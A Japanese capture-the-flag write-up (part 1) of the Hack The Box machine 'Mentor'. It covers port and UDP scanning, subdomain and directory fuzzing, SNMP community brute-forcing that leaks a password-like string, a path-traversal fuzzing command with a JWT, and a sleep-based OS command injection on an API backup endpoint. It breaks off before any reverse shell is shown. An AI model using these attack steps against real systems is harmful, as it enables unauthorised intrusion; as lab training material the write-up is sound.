初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Mentor」にチャレンジした際の WriteUp - その1 になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
「WriteUp - その2」については以下です。
Discovery - 1
ポートスキャン
今回はRustScanで高速スキャンしてみた。
┌──(root💀kali)-[~]
└─# rustscan -a 10.10.11.193 --top --ulimit 10000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.193:22
Open 10.10.11.193:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2022-12-25 23:26 JST
Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).
Initiating Ping Scan at 23:26
Scanning 10.10.11.193 [4 ports]
Completed Ping Scan at 23:26, 0.41s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:26
Completed Parallel DNS resolution of 1 host. at 23:26, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 23:26
Scanning 10.10.11.193 [2 ports]
Discovered open port 22/tcp on 10.10.11.193
Discovered open port 80/tcp on 10.10.11.193
Completed SYN Stealth Scan at 23:26, 0.34s elapsed (2 total ports)
Nmap scan report for 10.10.11.193
Host is up, received echo-reply ttl 63 (0.36s latency).
Scanned at 2022-12-25 23:26:43 JST for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「mentorquotes.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。
Collection - 1
ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts
以下を投入。
10.10.11.193 mentorquotes.htb
疎通確認を行う。
┌──(root💀kali)-[~]
└─# ping mentorquotes.htb
サイト探索
Subdomain探索
以下サイトからサブドメインのリストをダウンロード
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
ffuf
で探索。
レスポンスサイズがそれぞれ違うので、実際にアクセスをすると302でリダイレクトされていることがわかった。
なので、302を弾く。
┌──(root💀kali)-[~/work]
└─# ffuf -w bitquark-subdomains-top100000.txt:FUZZ -u http://mentorquotes.htb/ -H "HOST: FUZZ.mentorquotes.htb" -fc 302 -t 100
特段いいものが出てこなかった。
ディレクトリ探索
dirsearch
を使用して探索を実施。
┌──(root💀kali)-[~]
└─# dirsearch -u http://mentorquotes.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/mentorquotes.htb/-_22-12-25_23-35-25.txt
Error Log: /root/.dirsearch/logs/errors-22-12-25_23-35-25.log
Target: http://mentorquotes.htb/
[23:35:26] Starting:
[23:37:19] 403 - 281B - /server-status/
[23:37:19] 403 - 281B - /server-status
Task Completed
いいものないな〜。ffuf
もやってみようか。
サブドメインリストを引っ張ってきたサイトからWebコンテンツリストを持ってくる。
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-small.txt
┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u http://mentorquotes.htb/FUZZ -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://mentorquotes.htb/FUZZ
:: Wordlist : FUZZ: ./directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
# [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 417ms]
[Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 445ms]
# on at least 3 different hosts [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 445ms]
# [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 474ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 521ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 524ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 525ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 541ms]
# Copyright 2007 James Fisher [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 548ms]
# [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 554ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 562ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 561ms]
# directory-list-2.3-small.txt [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 578ms]
# [Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 576ms]
[Status: 200, Size: 5506, Words: 1618, Lines: 167, Duration: 410ms]
:: Progress: [87664/87664] :: Job [1/1] :: 335 req/sec :: Duration: [0:04:54] :: Errors: 0 ::
出てこんわ。
何も出てこないんだけど。。。
実際にアクセスしてもいいの出てきてないので、何かしら見落としてそう。
ちょっと再度初手から探ってみた。
Discovery - 2
ポートスキャン
とりあえずTopポート1000だけじゃなくて2000くらいまで見てもらった。あとUDPも見てもらいました。
そうしたら以下のようにUDPのポートが開いてた!SNMPか!!!
┌──(root💀kali)-[~]
└─# nmap 10.10.11.193 -sU -v --top-ports 2000
Starting Nmap 7.91 ( https://nmap.org ) at 2022-12-26 20:11 JST
Initiating Ping Scan at 20:11
Scanning 10.10.11.193 [4 ports]
Completed Ping Scan at 20:11, 0.30s elapsed (1 total hosts)
Initiating UDP Scan at 20:11
Scanning mentorquotes.htb (10.10.11.193) [2000 ports]
Increasing send delay for 10.10.11.193 from 0 to 50 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.11.193 from 50 to 100 due to max_successful_tryno increase to 5
Increasing send delay for 10.10.11.193 from 100 to 200 due to max_successful_tryno increase to 6
Increasing send delay for 10.10.11.193 from 200 to 400 due to 11 out of 12 dropped probes since last increase.
UDP Scan Timing: About 2.40% done; ETC: 20:33 (0:21:01 remaining)
Increasing send delay for 10.10.11.193 from 400 to 800 due to 11 out of 11 dropped probes since last increase.
UDP Scan Timing: About 3.81% done; ETC: 20:38 (0:25:42 remaining)
UDP Scan Timing: About 5.25% done; ETC: 20:40 (0:27:22 remaining)
UDP Scan Timing: About 8.61% done; ETC: 20:43 (0:28:51 remaining)
UDP Scan Timing: About 18.59% done; ETC: 20:45 (0:27:14 remaining)
UDP Scan Timing: About 20.96% done; ETC: 20:48 (0:28:55 remaining)
UDP Scan Timing: About 21.24% done; ETC: 20:50 (0:30:51 remaining)
UDP Scan Timing: About 21.53% done; ETC: 20:53 (0:32:52 remaining)
Increasing send delay for 10.10.11.193 from 800 to 1000 due to max_successful_tryno increase to 7
UDP Scan Timing: About 25.52% done; ETC: 20:52 (0:30:42 remaining)
UDP Scan Timing: About 28.97% done; ETC: 20:51 (0:28:36 remaining)
UDP Scan Timing: About 32.82% done; ETC: 20:51 (0:26:33 remaining)
UDP Scan Timing: About 36.87% done; ETC: 20:50 (0:24:31 remaining)
UDP Scan Timing: About 41.67% done; ETC: 20:50 (0:22:34 remaining)
UDP Scan Timing: About 46.42% done; ETC: 20:50 (0:20:37 remaining)
UDP Scan Timing: About 50.91% done; ETC: 20:49 (0:18:40 remaining)
UDP Scan Timing: About 55.56% done; ETC: 20:49 (0:16:44 remaining)
UDP Scan Timing: About 60.32% done; ETC: 20:49 (0:14:49 remaining)
UDP Scan Timing: About 65.12% done; ETC: 20:48 (0:12:55 remaining)
UDP Scan Timing: About 69.92% done; ETC: 20:48 (0:11:04 remaining)
UDP Scan Timing: About 74.87% done; ETC: 20:48 (0:09:11 remaining)
UDP Scan Timing: About 79.82% done; ETC: 20:48 (0:07:20 remaining)
UDP Scan Timing: About 84.77% done; ETC: 20:47 (0:05:31 remaining)
UDP Scan Timing: About 89.72% done; ETC: 20:47 (0:03:42 remaining)
UDP Scan Timing: About 94.77% done; ETC: 20:47 (0:01:53 remaining)
Completed UDP Scan at 20:48, 2179.58s elapsed (2000 total ports)
Nmap scan report for mentorquotes.htb (10.10.11.193)
Host is up (0.27s latency).
Not shown: 1998 closed ports
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open|filtered snmp
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2179.98 seconds
Raw packets sent: 2415 (111.239KB) | Rcvd: 2035 (150.243KB)
いいね。このプロトコルは何度も触ったことある!
ということで情報収集です。
コミュニティ探索
SNMP Brute
とりあえずはコミュニティワードを見つけないとデータにアクセスできないので、Bruteでコミュニティを探索します。
ここら辺の流れは以下の「HackTricks」ように簡易的なコマンドでのBrute手法も書いてありますが、どうせコミュニティ見つけた後はWalkするのでsnmpbrute.py
使います。
snmpbrute.py
をダウンロード。
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/SECFORCE/SNMP-Brute/master/snmpbrute.py
実行。
┌──(root💀kali)-[~/work]
└─# python3 snmpbrute.py -t 10.10.11.193
_____ _ ____ _______ ____ __
/ ___// | / / |/ / __ \ / __ )_______ __/ /____
\__ \/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \
___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/
/____/_/ |_/_/ /_/_/ /_____/_/ \__,_/\__/\___/
SNMP Bruteforce & Enumeration Script v2.0
http://www.secforce.com / nikos.vassakis <at> secforce.com
###############################################################
Trying ['', '0', '0392a0', '1234', '2read', '3com', '3Com', '3COM', '4changes', 'access', 'adm', 'admin', 'Admin', 'administrator', 'agent', 'agent_steal', 'all', 'all private', 'all public', 'anycom', 'ANYCOM', 'apc', 'bintec', 'blue', 'boss', 'c', 'C0de', 'cable-d', 'cable_docsispublic@es0', 'cacti', 'canon_admin', 'cascade', 'cc', 'changeme', 'cisco', 'CISCO', 'cmaker', 'comcomcom', 'community', 'core', 'CR52401', 'crest', 'debug', 'default', 'demo', 'dilbert', 'enable', 'entry', 'field', 'field-service', 'freekevin', 'friend', 'fubar', 'guest', 'hello', 'hideit', 'host', 'hp_admin', 'ibm', 'IBM', 'ilmi', 'ILMI', 'intel', 'Intel', 'intermec', 'Intermec', 'internal', 'internet', 'ios', 'isdn', 'l2', 'l3', 'lan', 'liteon', 'login', 'logon', 'lucenttech', 'lucenttech1', 'lucenttech2', 'manager', 'master', 'microsoft', 'mngr', 'mngt', 'monitor', 'mrtg', 'nagios', 'net', 'netman', 'network', 'nobody', 'NoGaH$@!', 'none', 'notsopublic', 'nt', 'ntopia', 'openview', 'operator', 'OrigEquipMfr', 'ourCommStr', 'pass', 'passcode', 'password', 'PASSWORD', 'pr1v4t3', 'pr1vat3', 'private', ' private', 'private ', 'Private', 'PRIVATE', 'private@es0', 'Private@es0', 'private@es1', 'Private@es1', 'proxy', 'publ1c', 'public', ' public', 'public ', 'Public', 'PUBLIC', 'public@es0', 'public@es1', 'public/RO', 'read', 'read-only', 'readwrite', 'read-write', 'red', 'regional', '<removed>', 'rmon', 'rmon_admin', 'ro', 'root', 'router', 'rw', 'rwa', 'sanfran', 'san-fran', 'scotty', 'secret', 'Secret', 'SECRET', 'Secret C0de', 'security', 'Security', 'SECURITY', 'seri', 'server', 'snmp', 'SNMP', 'snmpd', 'snmptrap', 'snmp-Trap', 'SNMP_trap', 'SNMPv1/v2c', 'SNMPv2c', 'solaris', 'solarwinds', 'sun', 'SUN', 'superuser', 'supervisor', 'support', 'switch', 'Switch', 'SWITCH', 'sysadm', 'sysop', 'Sysop', 'system', 'System', 'SYSTEM', 'tech', 'telnet', 'TENmanUFactOryPOWER', 'test', 'TEST', 'test2', 'tiv0li', 'tivoli', 'topsecret', 'traffic', 'trap', 'user', 'vterm1', 'watch', 'watchit', 'windows', 'windowsnt', 'workstation', 'world', 'write', 'writeit', 'xyzzy', 'yellow', 'ILMI'] community strings ...
10.10.11.193 : 161 Version (v2c): internal
10.10.11.193 : 161 Version (v1): public
10.10.11.193 : 161 Version (v2c): public
10.10.11.193 : 161 Version (v1): public
10.10.11.193 : 161 Version (v2c): public
Waiting for late packets (CTRL+C to stop)
Trying identified strings for READ-WRITE ...
Identified Community strings
0) 10.10.11.193 internal (v2c)(RO)
1) 10.10.11.193 public (v1)(RO)
2) 10.10.11.193 public (v2c)(RO)
3) 10.10.11.193 public (v1)(RO)
4) 10.10.11.193 public (v2c)(RO)
Select Community to Enumerate [0]:0
Enumerating with READ-WRITE Community string: internal (v2c)
Created directory: /var/lib/snmp/cert_indexes
################## Enumerating Routing Table (snmpwalk)
Destination Next Hop Mask Metric Interface Type Protocol Age
----------- -------- ---- ------ --------- ---- -------- ---
0.0.0.0 10.10.10.2 0.0.0.0 1 2 4 2 OID
Traceback (most recent call last):
File "/root/work/snmpbrute.py", line 796, in <module>
main()
File "/root/work/snmpbrute.py", line 782, in main
SNMPenumeration(select_community(results,options),options)
File "/root/work/snmpbrute.py", line 581, in SNMPenumeration
enumerateSNMPWalk(result,options)
File "/root/work/snmpbrute.py", line 429, in enumerateSNMPWalk
'\t'+entry['Route age'][j].strip().center(3,' ')
IndexError: list index out of range
SNMPv2cで「internal」コミュニティを発見。続けてWalkしようとしたが、PythonのListエラーを吐いてもうた。
Walkは手動のコマンドで実施することとする。また、ROコミュニティだけなので、ここでのRCEやペイロードの挿入は不可能なので、クレデンシャルを見つけることを優先的に行う方針で進める。
※snmpbrute.py
の使い方は以下を参照してください。
Collection - 2
MIB情報収集
SNMP Walk
MIB情報を持ってきてどんな情報をエージェントが送ってきてるか確認します。
コマンド情報やコメント情報のSTRINGもモノによっては出てくるので全部取ります。OIDによって結構な情報量に増えるのでTXTに落とします。
┌──(root💀kali)-[~/work]
└─# snmpwalk -c internal -v2c 10.10.11.193 > snmpwalk.txt
中身を確認すると以下の情報が出てくる。
iso.3.6.1.2.1.1.1.0 = STRING: "Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (5040092) 14:00:00.92
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@mentorquotes.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "mentor"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
...省略
iso.3.6.1.2.1.25.4.2.1.5.1199 = STRING: "-f -P"
iso.3.6.1.2.1.25.4.2.1.5.1208 = STRING: "-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f"
iso.3.6.1.2.1.25.4.2.1.5.1219 = ""
iso.3.6.1.2.1.25.4.2.1.5.1237 = STRING: "-o -p -- \\u --noclear tty1 linux"
iso.3.6.1.2.1.25.4.2.1.5.1246 = ""
iso.3.6.1.2.1.25.4.2.1.5.1273 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.1344 = STRING: "-H fd:// --containerd=/run/containerd/containerd.sock"
iso.3.6.1.2.1.25.4.2.1.5.1698 = STRING: "/usr/local/bin/login.sh"
iso.3.6.1.2.1.25.4.2.1.5.1745 = STRING: "-proto tcp -host-ip 172.22.0.1 -host-port 5432 -container-ip 172.22.0.4 -container-port 5432"
iso.3.6.1.2.1.25.4.2.1.5.1774 = STRING: "-namespace moby -id 96e44c5692920491cdb954f3d352b3532a88425979cd48b3959b63bfec98a6f4 -address /run/containerd/containerd.sock"
iso.3.6.1.2.1.25.4.2.1.5.1793 = ""
iso.3.6.1.2.1.25.4.2.1.5.1868 = STRING: "-proto tcp -host-ip 172.22.0.1 -host-port 8000 -container-ip 172.22.0.3 -container-port 8000"
iso.3.6.1.2.1.25.4.2.1.5.1890 = STRING: "-namespace moby -id 0f489e590fa20e9174106b7c8517db93a35033b9ec88af4ad2f2e001710665b8 -address /run/containerd/containerd.sock"
iso.3.6.1.2.1.25.4.2.1.5.1906 = ""
iso.3.6.1.2.1.25.4.2.1.5.1907 = ""
iso.3.6.1.2.1.25.4.2.1.5.1908 = ""
iso.3.6.1.2.1.25.4.2.1.5.1909 = ""
iso.3.6.1.2.1.25.4.2.1.5.1910 = ""
iso.3.6.1.2.1.25.4.2.1.5.1911 = ""
iso.3.6.1.2.1.25.4.2.1.5.1915 = STRING: "-m uvicorn app.main:app --reload --workers 2 --host 0.0.0.0 --port 8000"
iso.3.6.1.2.1.25.4.2.1.5.1973 = STRING: "-proto tcp -host-ip 172.22.0.1 -host-port 81 -container-ip 172.22.0.2 -container-port 80"
iso.3.6.1.2.1.25.4.2.1.5.1992 = STRING: "-namespace moby -id 0715325ad9d53ce19cd3fbf00aaf38d6de0111f54efed23897985a97f32cd859 -address /run/containerd/containerd.sock"
iso.3.6.1.2.1.25.4.2.1.5.2016 = STRING: "main.py"
iso.3.6.1.2.1.25.4.2.1.5.2045 = STRING: "-c from multiprocessing.semaphore_tracker import main;main(4)"
iso.3.6.1.2.1.25.4.2.1.5.2046 = STRING: "-c from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7) --multiprocessing-fork"
iso.3.6.1.2.1.25.4.2.1.5.2101 = ""
iso.3.6.1.2.1.25.4.2.1.5.2103 = ""
iso.3.6.1.2.1.25.4.2.1.5.2116 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
iso.3.6.1.2.1.25.4.2.1.5.2232 = ""
iso.3.6.1.2.1.25.4.2.1.5.3000 = ""
iso.3.6.1.2.1.25.4.2.1.5.139603 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.140016 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.145099 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.167029 = ""
iso.3.6.1.2.1.25.4.2.1.5.167447 = ""
iso.3.6.1.2.1.25.4.2.1.5.168508 = ""
iso.3.6.1.2.1.25.4.2.1.5.168604 = ""
iso.3.6.1.2.1.25.4.2.1.5.168631 = ""
iso.3.6.1.2.1.25.4.2.1.5.168657 = ""
...省略
admin@mentorquotes.htb
、コンテナ、postgre
、/usr/local/bin/login.py kj23sadkj123as0-d213
あたりで気になるキーワードを発見した。
login.py後の引数はパスワードぽいのでSSHでログインしてみる。
┌──(root💀kali)-[~/work]
└─# ssh admin@10.10.11.193
だめでした。。。。
何かコンテナやポスグレ使ってそうなので、Webで見逃しあるんじゃないかと思い始めた。。。
一旦SNMPは置いておいてWebで再度調査を開始する。
Collection - 3
サイト探索
Subdomain探索
今回はレスポンスコード302を弾いただけではなく、それ以外の全ステータスを集めてみた(404で普段は弾くものも集める。)
┌──(root💀kali)-[~/work]
└─# ffuf -w bitquark-subdomains-top100000.txt:FUZZ -u http://mentorquotes.htb/ -H "HOST: FUZZ.mentorquotes.htb" -mc all -fc 302 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://mentorquotes.htb/
:: Wordlist : FUZZ: bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.mentorquotes.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: all
:: Filter : Response status: 302
________________________________________________
api [Status: 404, Size: 22, Words: 2, Lines: 1, Duration: 280ms]
* [Status: 400, Size: 308, Words: 26, Lines: 11, Duration: 268ms]
:: Progress: [100000/100000] :: Job [1/1] :: 562 req/sec :: Duration: [0:03:14] :: Errors: 0 ::
api
ドメインを発見した。ここでdirsearchしてみる。
ディレクトリ探索
┌──(root💀kali)-[~/work]
└─# dirsearch -u http://api.mentorquotes.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/api.mentorquotes.htb/-_22-12-26_00-08-32.txt
Error Log: /root/.dirsearch/logs/errors-22-12-26_00-08-32.log
Target: http://api.mentorquotes.htb/
[00:08:32] Starting:
[00:09:04] 307 - 0B - /admin -> http://api.mentorquotes.htb/admin/
[00:09:05] 422 - 186B - /admin/
[00:09:05] 422 - 186B - /admin/?/login
[00:09:06] 307 - 0B - /admin/backup/ -> http://api.mentorquotes.htb/admin/backup
[00:09:21] 405 - 31B - /auth/login
[00:09:35] 200 - 969B - /docs
[00:09:35] 307 - 0B - /docs/ -> http://api.mentorquotes.htb/docs
[00:10:12] 403 - 285B - /server-status/
[00:10:12] 403 - 285B - /server-status
[00:10:23] 307 - 0B - /users -> http://api.mentorquotes.htb/users/
[00:10:24] 307 - 0B - /users/admin -> http://api.mentorquotes.htb/users/admin/
[00:10:24] 422 - 186B - /users/
[00:10:24] 307 - 0B - /users/admin.php -> http://api.mentorquotes.htb/users/admin.php/
[00:10:24] 307 - 0B - /users/login -> http://api.mentorquotes.htb/users/login/
[00:10:24] 307 - 0B - /users/login.php -> http://api.mentorquotes.htb/users/login.php/
[00:10:24] 307 - 0B - /users/login.aspx -> http://api.mentorquotes.htb/users/login.aspx/
[00:10:24] 307 - 0B - /users/login.js -> http://api.mentorquotes.htb/users/login.js/
[00:10:24] 307 - 0B - /users/login.jsp -> http://api.mentorquotes.htb/users/login.jsp/
[00:10:24] 307 - 0B - /users/login.html -> http://api.mentorquotes.htb/users/login.html/
Task Completed
結構良さそうな階層がいくつか出てきた。docs
にアクセスしてみる。
OpenAPIを使用してるみたいである。
APIの使い方も結構乗せてくれて便利ですねぇ。
dirsearchで探索した階層以外にも色々と階層がありそうなのでffuf
でもファジングしておく。
┌──(root💀kali)-[~/work]
└─# ffuf -w directory-list-2.3-small.txt:FUZZ -u http://api.mentorquotes.htb/FUZZ -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://api.mentorquotes.htb/FUZZ
:: Wordlist : FUZZ: directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
docs [Status: 200, Size: 969, Words: 194, Lines: 31, Duration: 460ms]
users [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 275ms]
admin [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 300ms]
quotes [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 290ms]
redoc [Status: 200, Size: 772, Words: 149, Lines: 28, Duration: 269ms]
:: Progress: [87664/87664] :: Job [1/1] :: 491 req/sec :: Duration: [0:03:02] :: Errors: 0 ::
まぁこんなものか。そこまで気になるものはない。
※redocくらいかな。
とりあえずAPIの動作を確認してみようか。
API動作検証
サインアップ用エンドポイントがあるので、Userを作成して通常の動作を追ってみた。
適当に作成。
ログイン実施。うまくいくとJWT配られる。
このJWTでAuthorization
をつけてusers
のエンドポイントにアクセスしてみた。
でもうまくいかない。
ちなみにSNMPで発見したadmin@mentorquotes.htb
とkj23sadkj123as0-d213
でもログインすら出来ず、上手くいかなかった。
もう少し調査してみる。
/docs調査
/docsのエンドポイントにアクセスする際に/openapi.jsonが返されてるのを発見。
james
のユーザーを発見した。こいつでログインしてみる。
JWTを返してきたのでログインできたようである。users
エンドポイントへアクセスしてみる。
なんか同時に攻略していた人「tico」さんのサインアップログが見えますが、ADMINないのかよ!?
まあ、そのまま/adminのエンドポイントへアクセスしてみる。
/admin調査
別のエンドポイントへのアクセスを促されるので続いてのエンドポイントへ
/checkはまだないって言われる。
/backupのMethodが違うと言われるのでPOSTしてみる。
ボディがないと言われるのでとりあえず値を入れて送ってみる。
JSONでデコードできないって言われるのでJSON形式で送付する。
今度は「body」, 「path」がないと言われるのでつける。
ああ、これが正解のPOST形式みたい。
んじゃこいつらに適当に不正なコード叩き込んでみるか。
※「path」とかディレクトリトラバーサルしてくれっていってるようなもんでは???笑
Initial Access
ディレクトリトラバーサル
ディレクトリトラバーサル用のリストを以下サイトからダウンロードしてくる。
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Directory%20Traversal/Intruder/directory_traversal.txt
ディレクトリトラバーサル実施。
┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory_traversal.txt:FUZZ -X POST -H "Content-Type: application/json" -H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0" -d '{"body":"body", "path":"FUZZ"}'
「Done」を返されるだけで特段変わったレスポンスが帰ってこない。。。
攻め方を考えないといけなさそう。
SQLi
PathをDBから引っ張ってきている?とちょっと考えたのでPostgreでのSQLを簡易に打ち込んでみる。
まぁそうですよね。何も返してくれないですよね。
この何も返してこない感じ、OScmdInjectionでは?...
OS cmd Injection
というわけでsleep
コマンドを試してみた。10秒止まってもらうことととする。
※正常なレスポンスだと1秒もかからないくらいに、すぐにレスポンスを返してくる。
右下のTimeを確認するとおよそ10秒で帰ってきていることがわかる。
ああ、OS cmd Injectionね。
んじゃリバースシェルを叩き込んでみる。
Persistence
いつもの以下のサイトを利用する。
リバースシェルの構成のために自身のIPを確認しておきます。
※この場合はtun0
┌──(root💀kali)-[~/work]
└─# ip a 1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
